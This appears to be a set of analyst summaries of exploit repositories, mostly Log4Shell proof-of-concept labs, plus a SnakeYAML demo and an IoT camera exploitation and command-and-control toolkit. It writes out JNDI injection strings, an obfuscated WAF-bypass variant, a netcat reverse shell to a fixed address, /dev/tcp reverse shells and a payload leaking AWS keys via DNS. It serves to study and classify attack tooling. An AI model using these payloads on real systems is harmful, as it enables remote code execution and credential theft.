Log4Shell

This repository is a small standalone Python-based Log4Shell exploit PoC centered on poc.py. The repo contains minimal support files: README.md with usage instructions, requirements.txt listing colorama, and no embedded JDK or marshalsec JAR despite the code expecting them locally. The exploit is real and operational rather than a detector: it generates a malicious Java class (Exploit.java), compiles it with a local JDK 1.8.0_20, launches a marshalsec LDAPRefServer, and starts a Python HTTP server to host the compiled class. It then prints a JNDI payload string of the form ${jndi:ldap://<userip>:1389/a} for the operator to inject into a vulnerable Log4j sink. Main capability: remote code execution on a vulnerable Log4j target leading to a reverse shell. The generated Java payload executes /bin/sh on the victim and bridges the shell over a TCP socket back to the attacker’s chosen host and lport. The HTTP server binds to 0.0.0.0 on the configured webport (default 8000), while the LDAP referral uses port 1389 and points victims to an HTTP URL ending in #Exploit. Successful exploitation requires outbound connectivity from the target to the attacker’s LDAP and HTTP services and a Unix-like target environment because the payload hardcodes /bin/sh. Notable implementation details: check_java() verifies the bundled Java runtime path; generate_payload() writes and compiles the Java reverse shell; ldap_server() invokes marshalsec.jndi.LDAPRefServer with the attacker-controlled HTTP codebase URL; payload() runs the LDAP server in a thread and serves files via Python’s SimpleHTTPRequestHandler. The script does not include cleanup logic despite the README claiming cleanup, and it assumes the external dependencies jdk1.8.0_20/ and target/marshalsec-0.0.3-SNAPSHOT-all.jar are manually supplied.

Repository contains 3 files: one Python exploit (exploit.py) and two Markdown documents (README.md and exploitation_vectors.md). The core exploit is a standalone Python PoC for CVE-2021-44228 (Log4Shell) targeting Apache Log4j2 2.0-2.14.1. Its main capability is generating JNDI payloads across multiple protocols (LDAP, RMI, DNS, LDAPS, IIOP/CORBA) and delivering them to a target web application via HTTP GET headers or POST form parameters. The script supports both single-header injection and broad spraying across many commonly logged headers such as User-Agent, X-Forwarded-For, Referer, Cookie, Authorization, and related proxy/client metadata headers. Operationally, the exploit has three modes: (1) active exploitation against a supplied target URL, (2) a local HTTP callback server for observing inbound requests, and (3) a minimal LDAP referral server stub that listens on 0.0.0.0 and constructs a javaCodeBase URL pointing to a locally hosted HTTP server. The LDAP server implementation is simplistic and only returns a placeholder response rather than a full LDAP referral object, so the repository is best characterized as an operational PoC rather than a fully weaponized exploit kit. It is still clearly exploit code, not merely detection logic. README.md provides vulnerability background, affected versions, reproduction steps using marshalsec and a malicious Exploit.class, and mitigation guidance. exploitation_vectors.md is supplementary documentation cataloging protocol variants, nested lookup/WAF bypass ideas, exfiltration patterns, delivery vectors, and related CVEs in the Log4j family. Overall, the repository’s purpose is to demonstrate and test Log4Shell exploitation by sending attacker-controlled JNDI strings to vulnerable logging sinks and optionally receiving callback traffic that confirms exploitation or enables remote class loading.

This repository is a deliberately vulnerable Spring Boot sample application demonstrating Log4Shell (CVE-2021-44228), not a standalone exploit toolkit. The core vulnerable logic is in `src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java`, where the GET `/` handler reads the `X-Api-Version` request header, strips CR/LF only, and logs the resulting string with Log4j 2.14.1. Because JNDI lookup syntax such as `${jndi:ldap://...}` is not neutralized, attacker-controlled header content can trigger remote JNDI resolution and code execution when processed by vulnerable Log4j. Repository structure is minimal: two Java source files (`MainController.java` and `VulnerableAppApplication.java`), Gradle build files, a Dockerfile, and a README with exploitation instructions. `build.gradle` explicitly replaces Spring Boot’s default logging with `spring-boot-starter-log4j2:2.6.1`, pulling in vulnerable Log4j 2.14.1. The Dockerfile builds the app with Gradle and runs it on `openjdk:8u181-jdk-alpine`, exposing port 8080, which matches the known vulnerable Java runtime conditions described in early Log4Shell exploitation scenarios. Exploit capability: remote unauthenticated RCE over HTTP by sending a crafted `X-Api-Version` header to `/`. The README demonstrates using an attacker-controlled LDAP server on port 1389 and HTTP server on port 8888 via JNDIExploit, with a payload that executes `touch /tmp/pwned`. The application itself does not contain the LDAP/HTTP exploit server; it is the vulnerable target application. Therefore, the repo should be classified as an exploit-enabling vulnerable lab/POC target rather than a weaponized exploit framework.

TraditionalJay is an intentionally vulnerable Spring Boot workshop application designed to demonstrate a chained VM compromise rather than a stealth exploit. The repository contains a Java web app under app/, Terraform deployment templates for AWS/Azure/GCP under infrastructure/, VM bootstrap scripts under scripts/, and two Python listener utilities under tools/. Core exploit logic is in app/src/main/java/com/jaysurfshop/traditional/ShopController.java and CatalogDatabase.java. The application exposes a vulnerable /search route that both logs attacker-controlled input with Log4j 2.14.1 and executes a string-concatenated SQLite query, enabling SQL injection. The SQLi demo endpoint (/api/demo/sqli) uses a default UNION SELECT payload to dump the seeded secrets table from /tmp/traditionaljay-shop.db. The Log4Shell demo endpoint (/api/demo/log4shell) constructs and logs a JNDI LDAP payload of the form ${jndi:ldap://<callback>/TraditionalJay}, causing the vulnerable Java process to attempt an outbound LDAP connection. The reverse-shell demo endpoint (/api/demo/reverse-shell) launches bash -c with /dev/tcp to connect back to an operator-controlled host:port, first sending a banner and then attempting an interactive bash shell. The combined endpoint /api/demo/critical-vm-compromise runs all three stages sequentially. This is a real exploit lab rather than a fake exploit, but it is clearly intended for demonstrations and workshops. It does not include a malicious LDAP server or serialized Java gadget; instead, the included tools/ldap-listen.py and tools/c2-listen.py are simple banner listeners that confirm outbound connectivity from the victim VM. The payloads are basic and mostly hardcoded, so maturity is best classified as OPERATIONAL rather than weaponized. Notable fingerprintable artifacts include HTTP routes on port 8080, default callback ports 1389 and 4444, the SQLite DB path /tmp/traditionaljay-shop.db, the install path /opt/traditionaljay, GitHub release/API URLs used by the installer, and the optional Upwind sensor bootstrap URL https://get.upwind.io/sensor.sh. Infrastructure code opens inbound 22 and 8080 broadly and bootstraps the vulnerable app onto Ubuntu VMs in AWS, Azure, or GCP.

This repository is a small Java/Maven Spring Boot demo application intentionally built to demonstrate exploitation of SnakeYAML unsafe deserialization (CVE-2022-1471) and then show remediation via Seal Security. It is not just documentation: the core exploit behavior is implemented in application code, primarily in src/main/java/io/sealsecurity/demo/controller/HelloController.java. Repository structure: DemoApplication.java is the Spring Boot entry point; HelloController.java contains the vulnerable web endpoint and exploit logic; DataService.java contains additional examples of vulnerable dependency usage (Commons Text, SnakeYAML, Log4j) but is not the main exploit path; application.properties sets the app name and port 8080; DemoApplicationTests.java provides basic tests. Supporting files include pom.xml with intentionally vulnerable dependency versions, GitHub Actions workflows that build/run the app and expose it via ngrok, a Jenkinsfile showing CI integration, and .seal-actions.yml mapping vulnerable dependencies to sealed versions. Main exploit capability: the root route '/' accepts a 'name' parameter over GET or POST and passes it directly to new Yaml().load(name). If the input contains a YAML global tag such as '!!javax.script.ScriptEngineManager []', vulnerable SnakeYAML 1.33 will instantiate the attacker-specified Java type. The controller treats this as an exploit attempt, returns a 'You've been pwned' HTML page, and asynchronously calls Runtime.getRuntime().halt(1) after a short delay, killing the JVM. This makes the exploit operational as a remote unauthenticated denial-of-service demonstration and a proof of arbitrary type instantiation. The code does not include a full gadget chain for arbitrary code execution, but the README explicitly frames it as the object-injection primitive behind RCE. The exploit is web/network-based, requiring only HTTP access to the application. Fingerprintable targets include the '/' endpoint, the 'name' parameter, localhost:8080 for local testing, and a hardcoded public ngrok hostname used in CI demos. The workflows also contain external infrastructure references for ngrok and Seal CLI downloads. Overall, this is a legitimate exploit/demo repository for CVE-2022-1471 with an intentionally vulnerable application and CI automation to demonstrate both exploitation and remediation.

This repository is a self-contained Log4Shell lab and exploit environment rather than a single standalone exploit script. It contains: (1) a vulnerable Java log collector service in log-collector/ built with Log4j 2.14.1, (2) nginx configuration that writes attacker-controlled User-Agent values into access logs, (3) a log-forwarder container that POSTs those log lines into the vulnerable collector, and (4) attacker automation in attacker/setup.sh that builds and serves the malicious JNDI infrastructure. The main exploit capability is remote code execution via CVE-2021-44228. The attacker script generates a malicious Exploit.java class whose static initializer launches a bash reverse shell to the attacker on TCP/4444. It then builds marshalsec, starts an LDAP referral server on TCP/1389, serves Exploit.class over HTTP on TCP/8888, and creates a trigger script that sends a crafted log line containing ${jndi:ldap://<attacker_ip>:1389/exploit} to the victim’s POST /logs endpoint. When the vulnerable Log4j instance logs the attacker-controlled field, the JVM performs the JNDI lookup, retrieves the remote class, and executes it. Repository structure indicates a lab/demo purpose: docker-compose.yml deploys the vulnerable collector; log-collector/src/main/java/com/lab/VulnerableLogServer.java exposes /logs, /api/stats, /api/logs, and /dashboard and stores logs in /data/logs.db; nginx/nginx.conf documents the User-Agent injection path; log-forwarder/forward.sh continuously tails /logs/access.log and forwards entries to http://log-collector:8080/logs. setup.sh and rebuild.sh automate deployment and reset of the environment. This is a real exploit repository, not merely detection code. It is operational because it includes a working payload and end-to-end automation, though the payload is hardcoded to a basic reverse shell rather than being highly modular.

This repository is a small, containerized exploit lab rather than a standalone memory-corruption exploit. Its purpose is to expose a vulnerable Java backend through a benign-looking enterprise login portal and allow attacker-controlled input to be delivered in an HTTP header, a classic setup for Log4Shell exploitation. The structure is minimal: README.md explains local deployment; client/index.html contains the fake authentication UI and the core exploit delivery logic; default.conf configures nginx to serve the page and proxy /api to the backend; docker-compose.yml launches both the frontend and a known vulnerable backend image. The main exploit capability is in client/index.html. The JavaScript function submitAuthentication() reads the user-provided Gateway ID and inserts it directly into the X-Api-Version header of a GET request to /api. Because nginx forwards /api to http://gateway-backend:8080/, the backend receives attacker-controlled header content. If that backend logs or processes the header with vulnerable Log4j behavior, a crafted JNDI payload can trigger remote lookup and potentially remote code execution, matching CVE-2021-44228 tradecraft. The repository also increases post-exploitation impact by running the backend container with SYS_ADMIN and apparmor=unconfined. Those settings are not the exploit itself, but they materially weaken container isolation and suggest the lab is designed to demonstrate not only initial compromise of the Java service but also elevated risk of container escape or host impact after compromise. Overall, this is an operational proof-of-concept lab for web-to-backend header injection against a vulnerable Log4Shell-style target. It is not merely a detector or README, and it contains enough wiring to exercise the vulnerable path end-to-end in a local Docker environment.

Small standalone Log4Shell exploit repository containing two code files and one documentation file. Log4shell.py is the main entry point: a Python PoC that sends HTTP GET requests to a supplied target URL with the JNDI LDAP payload embedded in multiple common HTTP headers (User-Agent, X-Forwarded-For, X-Real-IP, Referer, X-Api-Version, X-Forwarded-Host, X-Client-IP, X-Original-URL, X-Originating-IP). Its purpose is to maximize the chance that at least one attacker-controlled header is logged by a vulnerable application. The payload directs the target to an attacker LDAP server on port 1389 by default and references /Exploit as the remote object name. Exploit.java is the second-stage malicious Java class intended to be loaded by the vulnerable target JVM after the JNDI lookup. Its static initializer immediately executes a command upon class loading. The included example command launches a bash reverse shell back to ATTACKER_IP:4444 using /dev/tcp; a commented alternative simply touches /tmp/pwned_by_log4shell as a benign proof of code execution. This confirms the repository is not just a scanner: it is an actual exploitation chain for remote code execution. README.md provides background on CVE-2021-44228, affected Log4j versions, exploitation mechanics, impact, and mitigations. Overall, the repository is a basic but functional operational PoC for exploiting Apache Log4j 2 Log4Shell over the network, relying on attacker-hosted LDAP/class-serving infrastructure and a hardcoded Java payload.

This repository is a self-contained Dockerized Log4Shell demonstration environment for CVE-2021-44228. It contains two main components: a vulnerable Spring Boot application and an attacker container. The vulnerable app uses Spring Boot 2.6.1 with Apache Log4j 2.14.1 and exposes a single GET / endpoint. In VulnerableController.index(), the X-Api-Version request header is logged with Log4j, creating the injection point for JNDI lookup exploitation. The vulnerable runtime is intentionally configured with Java 8 and the JVM flag -Dcom.sun.jndi.ldap.object.trustURLCodebase=true, which is required for this classic remote class loading demo. The attacker side is implemented in attacker/Dockerfile and attacker/Exploit.java. The Dockerfile builds marshalsec from source, compiles a malicious Java class, then runs both a Python HTTP server on port 8000 and marshalsec.jndi.LDAPRefServer on port 1389. The LDAP server returns a reference to http://attacker:8000/#Exploit, causing the vulnerable JVM to fetch Exploit.class. The payload is simple but functional: the static initializer in Exploit.java executes touch /tmp/pwned, providing a clear proof of remote code execution. Repository structure is straightforward: README.md explains setup and exploitation steps; docker-compose.yml wires the vulnerable-app and attacker services together; vulnerable-app contains the Maven project and Java source for the target; attacker contains the malicious class and build/runtime logic for the LDAP and HTTP infrastructure. This is a real exploit demo rather than a scanner or detector. It is operational but not heavily weaponized: the payload is hardcoded and intended for educational proof-of-concept use.

This repository is a real exploit lab rather than a simple detector. It implements an autonomous Go-based agent that targets Log4Shell (CVE-2021-44228) in a deliberately vulnerable Java Spring Boot application. The repository is structured into: cmd/agent/main.go as the orchestrating entrypoint; internal/agent and internal/core for the cognitive loop and state model; internal/effectors for modular actions such as port scanning, discovery, payload generation, exploitation, WAF-evasion mutation, remediation, and reporting; pkg/oob for the attacker-controlled LDAP and HTTP out-of-band infrastructure; pkg/jvm for local lifecycle management of the vulnerable Java target; internal/payload/Exploit.java for the remote Java class payload; and test/vulnerable-app for the intentionally vulnerable Spring Boot target. Main exploit capability: the agent discovers the target, identifies the X-Api-Version header as an injection point, generates a JNDI LDAP payload, sends it to the target, and waits for an LDAP callback on port 1389. The LDAP listener returns a crafted reference pointing the target to an HTTP codebase on port 8000, from which the target downloads Exploit.class. That Java payload reads a secret flag from /var/lib/secret/flag.txt (or local flag.txt) and exfiltrates it to /loot on the agent’s HTTP server. If the direct payload is blocked by the demo WAF, the agent can generate an obfuscated nested-lookup payload for bypass. After successful exploitation, the agent attempts remediation by writing remediation.properties and POSTing to /remediate, then re-runs the exploit to verify the patch and finally writes a markdown compliance report. The vulnerable target is a Spring Boot 2.7.18 app using Log4j 2.14.1. Its MainController logs the X-Api-Version header and optional input parameter unless remediation is active, making it exploitable via header-based Log4Shell injection. The Docker setup exposes the target on 8080 and the agent’s LDAP/HTTP listeners on 1389 and 8000. Overall, this is an operational educational exploit environment demonstrating end-to-end exploitation, OOB callback handling, data exfiltration, remediation, and verification in a contained lab.

This repository is a self-contained Go/Java demonstration lab for exploiting and then remediating Log4Shell (CVE-2021-44228). It is not tied to a common exploit framework like Metasploit or Nuclei. The code implements an autonomous agent that performs a full attack lifecycle: TCP port reconnaissance, web input discovery, payload generation, exploitation via JNDI/LDAP, optional WAF-evasion mutation, automated remediation, post-fix verification, and report generation. Repository structure: cmd/agent/main.go is the main entrypoint. internal/agent and internal/core implement the agent loop and knowledge base. internal/effectors contains modular tools for each phase: port_scanner, discovery, payload_generator, prober, semantic_fuzzer, remediator, and reporter. pkg/oob contains the attacker-controlled infrastructure: an LDAP listener on port 1389 that returns a JNDI referral and an HTTP server on port 8000 that serves Exploit.class and captures exfiltrated data. internal/payload/Exploit.java is the malicious Java class executed on the target. pkg/jvm manages local startup/restart of the vulnerable Java app. test/vulnerable-app is a deliberately vulnerable Spring Boot application using Log4j 2.14.1, with the X-Api-Version header logged unsafely and a /remediate endpoint to simulate patching. deployments contains Docker and Compose files for running the lab. Main exploit capability: the agent generates a Log4Shell payload such as ${jndi:ldap://<agent_host>:1389/Exploit} and sends it in the X-Api-Version header to the target HTTP service. The target logs the header, triggers JNDI resolution, connects back to the LDAP listener, receives a referral to an HTTP codebase, downloads Exploit.class, and executes it. The Java payload reads a secret flag from /var/lib/secret/flag.txt or flag.txt and exfiltrates it to the attacker's /loot endpoint on port 8000. If the initial direct payload is blocked, the semantic_fuzzer generates an obfuscated variant ${${lower:j}ndi:ldap://<agent_host>:1389/bypass} to evade simple signature matching. The exploit is operational rather than just a PoC because it includes a working payload, attacker infrastructure, callback handling, and post-exploitation data exfiltration. It also includes remediation logic that writes remediation.properties and calls POST /remediate, then re-runs the exploit attempt to verify that no LDAP callback occurs. Overall, this is a realistic closed-loop demonstration of Log4Shell exploitation and self-healing in an isolated lab.

This repository is a multi-module Python offensive framework centered on exploiting HiSilicon DVR/NVR/IP camera devices via CVE-2020-25078, then managing compromised hosts through a Flask/SocketIO web panel. It is not a simple single-file PoC: it includes a control server (server.py), persistence and post-exploitation tooling, credential attacks, recon modules, web vulnerability scanners, network service checks, pivoting, reverse shell support, and a SQLite-backed datastore. Core exploit logic is in exploit.py and scanner.py. exploit.py probes numerous traversal/disclosure paths such as /../../.../mnt/mtd/Config/Account1 and related config/system files, parses returned content with multiple regex patterns to recover credentials, fingerprints device families, and falls back to known default credentials when disclosure succeeds but parsing does not. scanner.py operationalizes this by scanning IPs/CIDRs and common ports, checking liveness, fingerprinting likely cameras, invoking the CVE-2020-25078 checks, and storing recovered credentials in cameras.db. Post-exploitation capability is substantial. telnet_client.py provides raw Telnet login and command execution. botnet.py fans out commands across stored hosts. persistence.py installs SSH authorized_keys, cron, rc.local, init.d, systemd, inittab telnetd, and bind-shell style persistence. reverse_shell.py generates many Linux/IoT reverse shell one-liners and runs listeners. pivot_chain.py and socks_pivot.py support chained execution and local SOCKS5 pivoting through compromised hosts. Additional modules broaden scope beyond the HiSilicon exploit: brute.py and cred_spray.py perform credential attacks across Telnet, SSH, FTP, HTTP, SMB, databases, VNC, LDAP, WinRM, and more; network_exploit.py checks for exposed/misconfigured services and some well-known vulnerabilities such as MS17-010 and BlueKeep; web_exploit.py, web_cves.py, web_bugs.py, and web_brute.py scan websites for exposed files, CMS fingerprints, generic bug classes, and multiple CVE signatures. Recon/intel support includes ASN, DNS, GeoIP, JARM, WAF detection, proxy/Tor rotation, screenshot grabbing from camera snapshot endpoints, and Telegram/Discord/AbuseIPDB integrations. The repository structure is coherent and functional, with many CLI-capable modules and a central web UI in templates/index.html. Overall, this is an operational exploit-and-post-exploitation toolkit focused on HiSilicon IoT devices but expanded into a broader C2-style offensive platform.

This repository is a self-contained Dockerized Log4Shell exploitation lab rather than a single standalone exploit script. It combines three coordinated components: (1) a vulnerable Spring Boot application under victima/, (2) attacker infrastructure under atacante/ consisting of a Kali-based payload host and a Marshalsec-based LDAP referral server, and (3) a root-level Bash orchestration script (configurar.sh) that tears down, rebuilds, and launches the full environment. The vulnerable target is implemented in victima/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java. Its sole GET / handler reads the X-Api-Version header and logs it directly with Log4j, creating the classic CVE-2021-44228 JNDI injection sink. The Gradle build explicitly uses spring-boot-starter-log4j2 version 2.6.1, which pulls in Log4j 2.14.1. The victim Docker image is built in two stages and ultimately runs on openjdk:8u111-jdk-alpine. In docker-compose, the victim is additionally configured with trustURLCodebase=true for LDAP and RMI, which is important because it allows remote class loading needed by this lab’s exploit chain. The attacker side is operational and includes a real payload. atacante/Dockerfile.kali dynamically writes Exploit.java, compiles it with javac --release 8 for Java 8 compatibility, and serves the resulting class from /tmp over python3 -m http.server on port 8000. The Java payload’s static initializer spawns /bin/sh and connects back to kali-tools on TCP port 4444, forwarding shell I/O over the socket to provide a reverse shell. The LDAP stage is built in atacante/Dockerfile.ldap. It clones and builds mbechler/marshalsec, then launches marshalsec.jndi.LDAPRefServer pointing to http://kali-tools:8000/#Exploit on port 1389. This means that when the victim resolves the malicious JNDI string, the LDAP server returns a reference instructing the victim JVM to fetch and load the Exploit class from the attacker HTTP server. The main exploitation flow is: send an HTTP request to the victim on port 8080 with header X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}; Log4j evaluates the lookup; the victim contacts the LDAP server; the LDAP server redirects to the attacker HTTP server; the victim loads Exploit.class; the static initializer executes and opens a reverse shell to kali-tools:4444. The README and configurar.sh both document this exact attack path. Repository structure is straightforward: root contains documentation and orchestration; atacante/ contains Dockerfiles and docker-compose.yml for the malicious infrastructure; victima/ contains the vulnerable Java application source and build files. This is not a detection-only project and not a fake exploit. It is an educational but functional exploitation lab with a hardcoded reverse-shell payload, making its maturity best classified as OPERATIONAL.

This repository is a defensive Log4Shell lab rather than a standalone offensive exploit drop, but it does contain working exploit components. The structure combines: (1) a vulnerable target container (`log4shell-app`, based on a public Spring Boot Log4j 2.14.1 image), (2) an nginx reverse proxy with the Coraza WAF and OWASP CRS plus custom Log4Shell rules, (3) an attacker container that builds and packages multiple JNDI exploitation toolkits, and (4) Suricata/Wazuh monitoring for network and SIEM visibility. The main exploit capability lives under `attacker/`. `attacker/exploit-classes/Exploit.java` is a malicious Java class intended to be loaded through a JNDI/LDAP reference. Its static initializer executes immediately on class load and performs proof-of-exploitation actions: OS-specific command execution to write a marker file, creation of `/tmp/log4shell-exploited.txt`, and an optional reverse shell routine that connects to `172.20.0.2:4444`. There is also a stubbed environment-information collection method. This makes the repo more than a detector: it includes an actual RCE payload class. `attacker/scripts/start-ldap-server.sh` operationalizes exploitation by launching one of three JNDI infrastructures: marshalsec, JNDI-Exploit-Kit, or rogue-jndi. These are configured to serve the malicious class or execute simple commands/callbacks. `attacker/scripts/test-payloads.sh` is a payload spray/test harness that sends many Log4Shell payload variants to the nginx proxy using common injection points such as `User-Agent` and `X-Forwarded-For`. It includes LDAP, RMI, DNS, nested-expression, env/sys fallback, Unicode, whitespace, and colon-dash obfuscation variants. This script is primarily for validation of WAF/IDS coverage, but it also demonstrates realistic attack strings. The rest of the repository is focused on detection and containment. `coraza/config/log4shell-rules.conf` defines custom Coraza rules for standard and obfuscated JNDI patterns, alternate protocols, JSON/XML body inspection, and anomaly-score blocking. `nginx/` contains a multi-stage Docker build that compiles libcoraza and the coraza-nginx module, installs OWASP CRS, and exposes HTTP/HTTPS reverse proxying to the vulnerable app. `suricata/rules/log4shell.rules` adds network signatures for inbound JNDI payloads and outbound LDAP/RMI/DNS/HTTP callbacks that would indicate successful exploitation. Overall purpose: provide an isolated lab to demonstrate the full Log4Shell attack chain and, more importantly, how nginx+Coraza and Suricata can detect/block it. Because the repository includes a real malicious Java payload and scripts to stand up LDAP/JNDI exploit servers, it should be classified as a valid exploit-capable lab with operational payloads, not merely documentation or a pure detection script.

Small standalone Log4Shell PoC repository targeting CVE-2021-44228 in Apache Log4j. The repository contains 5 files: two Python exploit-related scripts, one alternate exploit script stored as .txt, and two documentation/report files. The core capability is to generate a JNDI LDAP payload of the form ${jndi:ldap://attacker_ip:port/Exploit} and inject it into multiple common HTTP headers via a GET request to a user-supplied target URL. If the target application logs any of those headers with vulnerable Log4j, it may initiate an outbound connection to the attacker-controlled listener. Exploit.py is the main usable sender. It accepts target URL, listener IP, and listener port via argparse, builds the payload, and sends it in User-Agent, Referer, X-Forwarded-For, X-Api-Version, and Accept-Language headers. It prints the HTTP status code and performs a weak heuristic check for the string 'Log4j' in the response body, but this is not a reliable vulnerability test. Listener.py is a simple TCP listener that binds to 0.0.0.0:1389 by default and prints any received data from the callback connection. It is intended to confirm that the vulnerable target resolved the JNDI reference and connected back. It does not implement a real LDAP server or malicious Java class hosting, so by itself it mainly supports detection/verification of callback behavior rather than end-to-end RCE. Exploit.txt contains a more feature-rich Python class-based variant of the exploit with send_payload() and start_listener() methods, but the provided content is truncated and incomplete. It still clearly shows the same intended behavior: generate the JNDI payload, send it in common headers, and listen for inbound connections. README.md and Report.txt are educational writeups about Log4Shell, affected versions, exploitation flow, mitigation guidance, and references to external PoCs. They are descriptive and not required for execution. Overall, this is a basic proof-of-concept exploit repository for web-delivered Log4Shell header injection with callback capture. It is not framework-based, not obviously fake, and not fully weaponized because it lacks a complete LDAP/RMI/HTTP infrastructure and a delivered malicious class or shell payload.

This repository is a self-contained Log4Shell lab/exploit environment rather than a single standalone exploit script. It contains two main components: an attacker container and a victim container, plus a helper detection script. The victim is a minimal Spring Boot application that intentionally uses vulnerable Log4j2 2.14.1 and exposes a GET /hello endpoint. That endpoint logs the User-Agent header, creating the injection point for attacker-controlled JNDI expressions. The attacker container builds marshalsec, compiles a malicious Java class, serves that class over HTTP on port 8888, and runs marshalsec's LDAPRefServer on port 1389 to redirect JNDI lookups to the hosted class. The payload class uses a static initializer to execute a shell command that writes /tmp/log4shell-lab-pwned on the victim, demonstrating code execution. Docker Compose wires both containers together and explicitly enables trustURLCodebase options required for remote class loading in this lab. The repository also includes detection/log-analyzer.py, which is not exploit code but an incident-response helper that scans logs for JNDI/Log4Shell indicators such as ${jndi:ldap://...}, lower/obfuscated patterns, and nested lookups. The included victim-logs.txt shows an attempted exploit using ${jndi:ldap://attacker:1389/Exploit}; the runtime trace indicates the vulnerable logging path was reached and a JNDI lookup occurred, though the captured run ended with a ClassCastException. Overall, the repo's purpose is to demonstrate and study CVE-2021-44228 exploitation mechanics in a controlled Docker lab, including attacker infrastructure, vulnerable target, and basic detection tooling.

This repository is a self-contained Dockerized proof-of-concept lab for CVE-2021-44228 (Log4Shell). It contains three main parts: (1) a vulnerable Spring Boot application using Log4j 2.14.1 and JDK 8u181, (2) an attacker container that hosts the LDAP redirect service, HTTP class server, and reverse-shell listener, and (3) a Node.js exploit client that sends the malicious JNDI string in an HTTP header. Repository structure: README.md documents the lab and usage. docker-compose.yml wires together two services on an isolated bridge network. The vulnerable-app directory contains a Maven-built Spring Boot application; Application.java is the app entry point and VulnerableController.java exposes GET /log, reading and logging X-Api-Version, User-Agent, and X-Auth-Token directly through Log4j, making them injection points. The attacker directory contains a multi-stage Dockerfile that builds marshalsec and compiles Exploit.java, plus entrypoint.sh which starts a Python HTTP server on 8888, launches marshalsec.jndi.LDAPRefServer to point victims to http://attacker:8888/#Exploit, and listens with netcat on 9001. The exploit directory contains exploit.js, the main trigger script. Exploit flow: exploit/exploit.js sends a GET request to the target endpoint (default http://localhost:8080/log) with a header value like ${jndi:ldap://attacker:1389/Exploit}. When the vulnerable app logs that header, Log4j performs a JNDI LDAP lookup to attacker:1389. The attacker LDAP server responds with a reference to the HTTP-hosted Exploit.class. The victim JVM loads the class, whose static initializer executes commands to create /tmp/pwned and spawn a reverse shell to attacker:9001. Capabilities: reliable lab-grade remote code execution against the included vulnerable target, proof-of-execution file creation, and an interactive reverse shell callback. The payload is basic and hardcoded rather than highly customizable, so OPERATIONAL is the best fit rather than WEAPONIZED.

This repository is a compact proof-of-concept for CVE-2021-44228 (Log4Shell). It contains both sides of the demonstration: a deliberately vulnerable Spring Boot server and a malicious Java class used as the remote payload. The vulnerable application lives under vulnerable-server/ and consists of a Maven project with App.java as the Spring Boot entry point and MainController.java as the vulnerable request handler. The controller accepts GET requests to /, reads the X-Api-Version header, and logs it with Log4j 2.14.1 without sanitization, creating the JNDI injection trigger point. The exploit side is in exploit/Exploit.java. This class implements ObjectFactory/Serializable so it can be referenced through JNDI loading, and its static initializer immediately executes a system command when the class is loaded. The hardcoded command starts /bin/bash and runs netcat to connect to 127.0.0.1:4444 with shell redirection, yielding a reverse shell. The attacker/commands.md file documents the full attack chain: compile Exploit.java, host Exploit.class over a Python HTTP server on port 8888, run a marshalsec LDAPRefServer on port 1389 pointing to the HTTP-hosted class, start a netcat listener on 4444, and finally send a malicious HTTP request containing a JNDI LDAP payload in the X-Api-Version header. Repository structure is straightforward: one exploit payload file, one vulnerable Java web app, and one markdown file with operator commands. This is a real exploit POC rather than a detector. It demonstrates end-to-end remote code execution through Log4j JNDI resolution and remote class loading, but the payload is hardcoded and basic, so the maturity is best classified as OPERATIONAL rather than weaponized.

Repository contains a small, operational Log4Shell (CVE-2021-44228) exploit setup consisting of: (1) `Log4shell.py`, a Python sender that delivers a JNDI payload to an Apache Solr target by placing `${jndi:ldap://<attacker_ip>:<ldap_port>/a}` into many common HTTP headers and also into a `q` query parameter while requesting `/solr/admin/cores`; and (2) `Exploit.java`, a minimal Java class intended to be served/loaded via the attacker’s JNDI infrastructure, whose static initializer executes a hardcoded netcat reverse shell (`nc -e /bin/bash 10.10.10.10 9999`). The README provides background on Log4Shell, affected Log4j versions, and mitigations. Overall purpose: trigger outbound JNDI lookups from a vulnerable, logging Solr/Log4j service to an attacker LDAP/RMI server, resulting in remote code execution and (as provided) a reverse shell callback.

This repository is a research/PoC Spring Boot application intentionally configured to demonstrate Log4Shell (CVE-2021-44228) using Log4j2 2.14.1. Repository structure/purpose: - pom.xml: Maven project for a Spring Boot 2.6.1 web app; explicitly forces vulnerable Log4j2 version 2.14.1 and uses spring-boot-starter-log4j2 (excluding default Logback). - src/main/java/com/nextcorp/Log4jApplication.java: Application entry point; sets system property com.sun.jndi.ldap.object.trustURLCodebase=true to facilitate classic JNDI remote codebase loading behavior in demonstrations. - src/main/java/com/nextcorp/Log4jVulnController.java: The vulnerable controller exposing GET /vulnerability/log. It reads the X-Api-Version request header and logs it with logger.info("... {}", apiVersion). In vulnerable Log4j2, attacker-controlled strings like ${jndi:ldap://...} can trigger JNDI lookups. - src/main/resources/application.properties: Sets server.port=9090. - src/main/resources/static/index.html: A simple static page (not directly tied to exploitation) likely for UI/demo. - README.md and TESTING.md: Explain the vulnerability, how to run the app, and how to test via Burp/curl with example JNDI payloads (DNS probe and LDAP-based RCE simulation). Exploit capabilities (as implemented by this repo): - Provides a network-reachable injection point (HTTP header X-Api-Version) that is logged unsafely, enabling Log4Shell-style JNDI lookups. - Supports detection via outbound DNS/LDAP callbacks (e.g., collaborator/oastify) and describes full RCE simulation via attacker-controlled LDAP on port 1389. - Includes an example of DNS-based information leak payloads using Log4j lookups (e.g., ${env:AWS_ACCESS_KEY} embedded into a DNS query). Overall, this is not an attacker tool that spins up LDAP/RMI servers or delivers a reverse shell itself; it is a deliberately vulnerable target application and testing guide intended to reproduce and study Log4Shell behavior.